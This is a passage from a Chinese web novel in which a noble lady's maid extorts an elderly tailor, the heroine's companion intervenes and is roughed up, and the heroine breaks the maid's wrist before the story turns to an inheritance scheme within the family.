两个人大眼对小眼的,相顾无言,就在这时,裁缝铺门口停下一个轿子,燕晚清往前探了探身子:“来人了。” 怀玉跟着看过去,看到轿子上下来的女子时,她眼里都是厌恶:“可不是,还是个老熟人。” “谁?”看她这般表情,燕晚清来了兴致。 怀玉看到那张脸,就觉得十分厌恶和抵触。 “怀辛的妹妹,怀芯楣。” “看你的样子,对她很不喜欢。”燕晚清瞧着那怀芯楣在丫鬟的搀扶下走进了裁缝铺,一身白衣,衬托着巴掌大的小脸越发的清纯可人:“长得可比她那个肥猪哥哥好看多了。” “你可不要被她的样子迷惑了,她这里。”怀玉点了点心口的位置:“太脏了,为了达成自己的目的,无所不用其极。” “本以为她出去上山拜佛,能够消停一段时间,没有想到这么快就回来了,真是晦气。”怀玉显然是对这个怀芯楣厌恶到底了,看一眼都觉得恶心的程度。 燕晚清越来越好奇,怀芯楣究竟做了什么。 裁缝店门口,主仆二人站了一会儿。 怀芯楣在店内站了一会儿,她的丫鬟便在店门口喊人。 “有没有人啊!大白天的人呢,掌柜的你不做生意了是么?!”丫鬟长得小小一只,五官精致可是有点显老态,看起来十分的违和。 怀芯楣便叹了一口气:“小绵,可能掌柜的有事情吧。” 掌柜的从内门掀开帘子,看到是侯府的小姐之后,立刻点头哈腰的上前。 那个叫小绵的丫头一下子挡在了他的面前,语气十分不好:“你是不是不想开店了!我们上山之前取得那件衣服,你补的什么东西?上面还有个大洞!” 掌柜的一听:“不可能啊,那件衣服老奴是认认真真的修补的,整整补了三日光景呢。” 她一把年纪还挑灯修补,无非就是看到了这个怀芯楣的身份不好惹。 不然谁接她的生意啊! 钱少,事情又多。 小绵一听这个掌柜推辞,将衣服掏出来,狠狠的摔在掌柜的脸上:“你自己看!” 掌柜的将衣服颠来倒去的在修补的地方看了又看,发现旁边的位置多了一个口子:“这……分明是新出来的破洞,老奴修补的是旁边这个啊。” 她的技艺很好,修补的跟看不出来一样,不然她也没办法在这里开这么多年的店,很多人都很喜欢将衣服送过来让她修补,就连贵族小姐夫人们也愿意将那些很昂贵的衣服送过来,这么多年来,从未出错过。 “好啊,你一把年纪还胡说八道,分明是你拿了银钱,还没有修补,眼下竟然将事情直接推到了我们头上。”小绵凶神恶煞的骂道:“你知道我们家小姐是谁么?信不信我让人砸了你的铺子!” 掌柜的一听,急了,她看向一旁不说话的怀芯楣:“大小姐您行行好,老奴也是小本经营,这个洞真就是新勾出来的,上次您过来拿衣服的时候不是说老奴修的很好吗?” 怀芯楣看了那掌柜一眼。 然后叹了一口气拉了拉小绵:“小绵,对待老人家不能这般无礼。” 小绵却冷哼一声:“奴婢知道小姐心善,可是是非黑白总是要说清楚吧,没修补就是没修补,这件衣服可是少爷特意托人从京都给小姐带回来的,整个北疆就这么一件,眼看着夏祭在即,这件衣服小姐可是要穿的!” 小绵越说越着急,脸都红了:“到时候小姐穿什么衣服啊!那天城主府的大少爷也会出席,被大少爷看见,指不定会如何想小姐呢。” 话越说越没边,但是老掌柜是个地地道道的朴实妇人,她人傻了。 这个丫头胡搅蛮缠,她一个上了年纪的老人家,眼下也不知道是不是自己老糊涂了根本就没有修补。 “可能……就是小姐我没有福分吧,算了。”怀芯楣叹了一口气,表情悲伤。 小绵却恶狠狠的看着那掌柜:“你说怎么办吧!耽误了我们小姐和城主府大少爷的亲事,你该当何罪!” “老奴再修如何?!给老奴一点时间,一定在夏祭来之前,将这个洞修的看不出来!”掌柜保证到。 小绵却直接从她手中夺走了衣服:“你也配!你都修成这样子了,还想修呢,我告诉你不可能,退钱吧!耽误了我们小姐的时间,十倍赔偿不过分吧!快拿钱,我们去找别人修补!” “十倍赔偿?”掌柜的踉跄两步:“那是多少……” “你修的时候拿了我们十两,十倍,就是一百两。”小绵环顾这个店面,眼里都是贪婪。 怀芯楣在旁边故作悲伤,不再说话。 一百两对于一个裁缝铺来说,无疑是天价。 掌柜感觉自己头一阵晕眩,眼看着就要晕过去,旁边伸出来一只手,扶住了她。 只听见。 “想钱想疯了吧,年过半百的老人你们都不放过,吃相真是有够难看的!”沈淑云从内门出来,张口骂道。 第三百一十六章 一百两而已,谁没有啊 沈淑云将掌柜的扶起来,拉到了身后。 她直勾勾的看着那个叫小绵的丫鬟:“你主子都没有说几句话呢,话都给你说完了,到底是你就是这样的恶奴,还是有人授意你这样做的?” 说着她的目光意有所指的看向了怀芯楣。 怀芯楣眼中闪过一抹不善,但是很快被她收敛。 她超前走了两步,一副欲言又止被伤害到了的模样:“……” 小绵立刻站在了自家小姐的面前:“你这个人是从哪来冒出来的,少多管闲事,这个老妇修一件衣服要十两银子,还没有修好,你怎么不说?!坏人老了,就有理了,就有瞎眼的帮衬了是吧!” 不得不说小绵这张嘴实在是有一手。 一时之间沈淑云也被堵了回去。 她本就不擅长言论,此时恨不得燕晚清的嘴长在自己的身上,让她全部当场骂回去才舒爽。 可是今日她是背着燕晚清出来的。 想到这里,沈淑云咬咬牙。 不能太出风头,此人是侯府的大小姐,若是被燕晚清知道今日的事情,可能会起疑心。 就在她心中迟疑的时候,小绵见她不说话,冷笑着上前两步。 “怎么不说话了?没理了是吧!”说着她猛地推了一把沈淑云:“没理,就掏钱,一百两,一分都不能少!” “一百两?!你抢钱啊!”沈淑云面色白了好几分。 这里是光明神教设立的站点。 掌柜的是教徒,已经开在这里好多年了。 中间接济了特别多的教徒,功劳巨大。 是的她欺骗了燕晚清,她根本就不想毁了光明神教,其实她是被教会的教徒救回来的,根本不是宋化虚救的她。 而是她自己在教会里听说自己的容貌和后山冰棺里的女人很像,所以她才会起了心思,故意将自己露到了宋化虚的面前。 刚开始的时候他确实大吃一惊,将自己带到了身边呆了几日。 但是后面他就对自己彻底失去了兴趣,说她再怎么相似也不会是她。 当然不会是宋凝了。 她沈淑云自始至终就是自己而已。 她不像付明月那般没脑子,只知道情情爱爱。 对于她沈淑云来说,活得好,活成人上人才是至关重要的,情情爱爱对于她来说,如果不是加分项的话,那么就根本没有存在的必要,所以既然宋化虚这条捷径不成了,那么她有了更加大胆的一个想法。 取而代之。 是的,她要取代宋化虚成为光明神教的教主。 她很喜欢光明神教。 这里的人互相关爱,根本不像燕晚清说的那样,教会里面充满了杀戮,大多数人都是底层人民,都是被时代破坏的人罢了,哪怕有阴谋,那也是宋化虚一个人的阴谋,和这些受苦受难的教徒有什么关系呢? 她要将自己变得强大起来,保护这群人,也保护自己。 “一百两就抢钱了?瞧你穿着打扮,一点都不像是穷苦人家的小姐,只是你的面相很是陌生,北疆的贵女们,我跟我们家小姐都见过,你是谁?” 沈淑云迟疑了:“我是谁跟你有关系吗?” “当然没关系,但是你非要多管闲事,那就关系大了,你要么走人,要么你就替这个老妇给了这一百两,对于你来说,也不过就是几个首饰而已。”小绵的目光在沈淑云的头上和手腕上飘过,眼神里都是贪婪。 竟然都是上等的珠宝首饰呢。 沈淑云将手放到了身后,躲过小绵的目光,她气沉丹田,大声说道:“做梦!你说没修,但是掌柜的说修了,既然你说没修,请你拿出没修的证据来,掌柜的也说了,拿衣服的那天是你们家小姐亲自过来的,拿走的时候不确认,眼下不知道过了多少天,你们又回来说有问题,全天下的理都给你们主仆二人占了!” 她的珠宝首饰都是侯府的大夫人送给燕晚清的,眼下她不过是出门带着玩玩,可一点都没有起要占有的心思。 她也不知道这些珠宝竟然这般值钱。 小绵被沈淑云的一通话给堵住了:“你——” “这位姑娘真是能言善辩呢。”一直没怎么开口的怀芯楣说话了,她温温柔柔的笑着看向沈淑云:“不知道您和这位掌柜的之间是什么关系?” “没关系,与你们一样,我也是过来修补衣服的,刚刚被你丫鬟的无耻言论气到了,故而路见不平拔刀相助。”沈淑云对于怀芯楣可没什么好颜色。 都说什么样子的仆人,便有什么样子的主子。 这怀芯楣一定是那种白刀子进去红刀子出的阴损角色。 她得十二万分的小心才是。 听着沈淑云充满豪气的话语,怀芯楣眼里闪过一抹戾色,她低着头,用帕子捂住了半张脸,表情有些悲伤委屈:“那日小绵有事情,我是家中闲人,所以才过来取衣服,只是出于对掌柜的信任,所以没有检查,没有想到事情会变成这样……小绵,我们走吧,这位小姐说的也对,都怪我……” 说着竟然掩面哭了起来。 周围早在刚才开始吵的时候就聚集了不少人,此时怀芯楣哭起来,人群中一阵嘈杂。 小绵更是直接对着沈淑云破口大骂:“就没见过你这么爱多管闲事的,把我们家小姐都气哭了,对,你们穷你们有理,可是这件衣服整个北疆就一件,那是我们家小姐夏祭要穿着跳舞的,而且我们家小姐从小便十指不沾阳春水,出门在外也不知道人心险恶,就是因为这样,才会遭歹人算计啊!” 怀芯楣在小绵的肩膀上哭的双肩颤抖,看的周围人心疼不已,看着那沈淑云和掌柜的目光也带着一丝审视了。 “侯府大小姐至于为了区区一百两来算计这个糟老婆子么?” “是啊,实在是说不过去,侯府很有钱的啊。” …… 大家你一言我一语的,基本上都在为怀芯楣主仆说话。 沈淑云面色彻底灰败了。 身后的那掌柜的握住了她的手:“这件事情与你无关,你走吧。” “不行!”沈淑云直接拒绝,既然被她看见了,她怎么能够当做没看见。 想到这里,她咬咬牙,将手腕上的手镯还有头顶上的朱钗拔了下来。 “不就是一百两么,给你们便是,只是这件事人在做天在看,说谎的人老天爷一定不会让她好过的!” 她恶狠狠的盯着怀芯楣看。 小绵将首饰收在了帕子上,冷哼一声:“你赔钱说明你知道自己不在理,眼下还非要搞什么人在做天在看,真是好笑,说不定你与这老妇本就是一伙儿的。” 第三百一十七章 泡在温柔乡,你拿什么和怀玉争 “拿着钱你还不滚?!”沈淑云见周围人看她的目光越老越奇怪,她脊梁骨上慢慢的有了发麻的感觉。 小绵见她依然嘴硬,冷哼:“你污蔑我们家小姐的账还没有跟你算呢,现在竟然赶起人了,你以为你是谁啊,在这个北疆,我们家小姐身份尊贵的很,可不能平白无故被你污蔑了清誉。” “一百两已经给你们了,你们还想如何?”沈淑云咬牙切齿:“不要欺人太甚了!” 茶楼上。 怀玉看着下面人越来越多,面色不是很好:“下面好像是吵起来了,你不过去看看吗?” 燕晚清终于抬了抬眼皮:“不看。” “你就不担心那丫头被人欺负了?怀芯楣可不是什么好东西,这些年死在她手里的人命数不胜数。” “再看看。” 怀玉见她嘴上再看看,但是身子已经一改之前的慵懒,坐到了窗户边上,唇角带上了几分笑意。 这个女人啊,还是嘴硬心软。 此时下方爆发出一阵叫声。 不知道是怎么吵架的,只看见人群突然散开,沈淑云被那个丫鬟猛地推到了街道边上,摔在了地上。 此时燕晚清的桃花眸已经彻底阴沉了下来。 打狗还得看主人,且不说这个沈淑云还在自己的府邸中,受自己的照顾。 怀玉见她眸中阴翳,轻笑一声,靠在了窗台上。 只要燕晚清急了,那么她就不着急了。 “你真是吃了熊心豹子胆了,我家小姐不过是上前想与你交好,你竟然敢推我家小姐!今日我不打死你,我就跟你姓!”小绵说着上前就要骑在沈淑云的身上。 沈淑云面颊上一个巴掌印,她赶紧躲开,但是被眼疾手快的小绵用手抓住了发髻,疼的她失声痛哭起来。 挣扎期间,衣衫半截,露出些许皮肤来,不少看客都是男子,此时的沈淑云想死的心都有了。、 “松手——疼!”沈淑云尖叫道:“你再不松手,我们家小姐饶不了你们!” 危急关头,她也着急了。 小绵冷笑道:“你们家小姐?怎么着,合着你还是个下人啊,说啊,你们家哪门子的小姐,身份能比得上我们家小姐高贵么?!今日哪怕是公主过来,我也照打不误。” “是么?”清冷的女声从上而下。 众人惊诧回过头,就看见茶楼之上,依窗而坐的女子露出半张清丽的面庞来,容颜燕姿丽质,美的不可方物,说是仙子下凡也不为过。 蕴含内力的两个字,让谁都无法忽视。 沈淑云一看见燕晚清,瞬间双眸都亮了:“小姐!” 燕晚清拍着桌子,翻身从茶楼二楼跳了下来,她虽然身着男装,可是今日并没有特意装扮,周身还是充斥着女子的气息,让人见了眼前一亮。 “没出息。”燕晚清走到沈淑云的旁边,她看了看还扯着发髻的小绵,挑眉:“还不松手是么?” 小绵被燕晚清的气势所折服,下意识的想要松手,可是很快她便反应了过来。 “你是她家小姐?”小绵皱眉:“我从来没有见过你啊。” “我说,松手。”燕晚清又说了一遍,桃花眸里已经没多少耐心了。 小绵故意拽紧了些,将沈淑云的脖颈往后狠狠的扯,露出脖子下面大片的皮肤,让不少男看客大饱眼福。 她恶意的笑了笑:“我只听我们家小姐的话,你算是个什么东西,……啊——!” 小绵猛地尖叫出声。 燕晚清面不改色的用两根手指夹着她的手腕。 她瞬间松手! 但是此时已经晚了,手腕软绵绵的塌了下去,完全不受控制了。 面前这个女子,竟然直接捏断了她的手腕! 小绵眼里都是恐惧之色。 燕晚清冷冷的笑出声:“我是个什么东西?很快你跟你们小姐都会知道。” 话不多说,燕晚清睥睨地上的沈淑云:“还能站起来走路么?” 沈淑云赶紧从地上爬起来:“能。” “嗯。”燕晚清轻轻的哼了一声:“跟上。” 她走在前面,众人不自觉的给她开路,来得快走的也快,很快他们二人便消失在了街角。 店铺里的怀芯楣扶着门框,看着燕晚清的背影,眼里闪烁着意味不明的光芒。 小绵委屈巴巴的走到她面前:“那个女子竟然捏断了奴婢的手,小姐,你可要替奴婢做主啊!” “自然。”怀芯楣轻柔的说道,但是看着小绵的目光不带一丝情绪。 小绵肉眼可见的哆嗦了一下身子。 怀芯楣环顾了一圈店铺,最后在那掌柜的惊恐的目光中,朝着她微微欠身之后,走出了店铺上了马车。 掌柜的浑身是汗的跌坐在地上。 这侯府的大小姐,看起来实在是可怕。 周身阴气森森的。 听说上山礼佛的怀芯楣回来了,整个二房都有些沸腾,怀辛直接丢下了温柔乡,赶了回来,特意洗了个澡才过去。 “姐!”他站的笔直的看着怀芯楣,想要靠近,却被她身边的丫鬟拦住了。 怀芯楣坐在软垫上,慢条斯理的熏香,眼神比在外面要冰冷了许多。 说话的语气倒是没变,依旧温温柔柔的。 “刚从女人床上起来,就不要出现在我的面前,臭。” “哪里臭了!”怀辛委屈极了:“来的时候,弟弟我还特意洗了个澡。” 怀芯楣抬起眼眸,懒懒的扫了他一眼,怀辛瞬间老实了:“姐你说臭就是臭,我再去洗一遍!” 说着怀辛就要走,却被怀芯楣给喊住了。 “听说父亲把柳如烟那个蠢货给休了。” 怀辛赶紧回过头:“那个蠢货非要凑到郡主面前,爹为了咱们二房与郡主的关系,所以才休了。” “郡主不是跟怀玉有婚约么?爹去献什么殷勤。”不愧是二房的大小姐,一句话就到了点子上。 怀辛每次都会为自己的脑子不如长姐好用而觉得自己没用。 “爹说,婚约是与小侯爷的身份定下的,只要我继承了侯位,那么郡主便是我的娘子了。” 听到这里,怀芯楣冷笑一声。 “就你?” 不是她觉得自家弟弟没用。 “整日泡在温柔乡的你,凭什么去和怀玉争?!你癞蛤蟆想吃天鹅肉就算了,爹也跟着你乱起哄,真是胡闹。”怀芯楣瞬间失去了所有的好心情。 怀辛被骂了不敢生气,只是十分委屈:“姐,我可是你亲弟弟,一母同胞的亲弟弟啊,您怎么不说弟弟一点好呢,我怎么就是癞蛤蟆了。” “那什么郡主是什么身份,你且与我说来听听。”怀芯楣叹了一口气问道。 怀辛眼中一喜,赶紧上前,他知道这是长姐愿意为自己筹谋的意思了。 自小,只要是长姐愿意出手的,就没有不成的。 父亲和他都非常认可长姐怀芯楣的能力。 倘若是个男子,这个侯位,理应她来继承。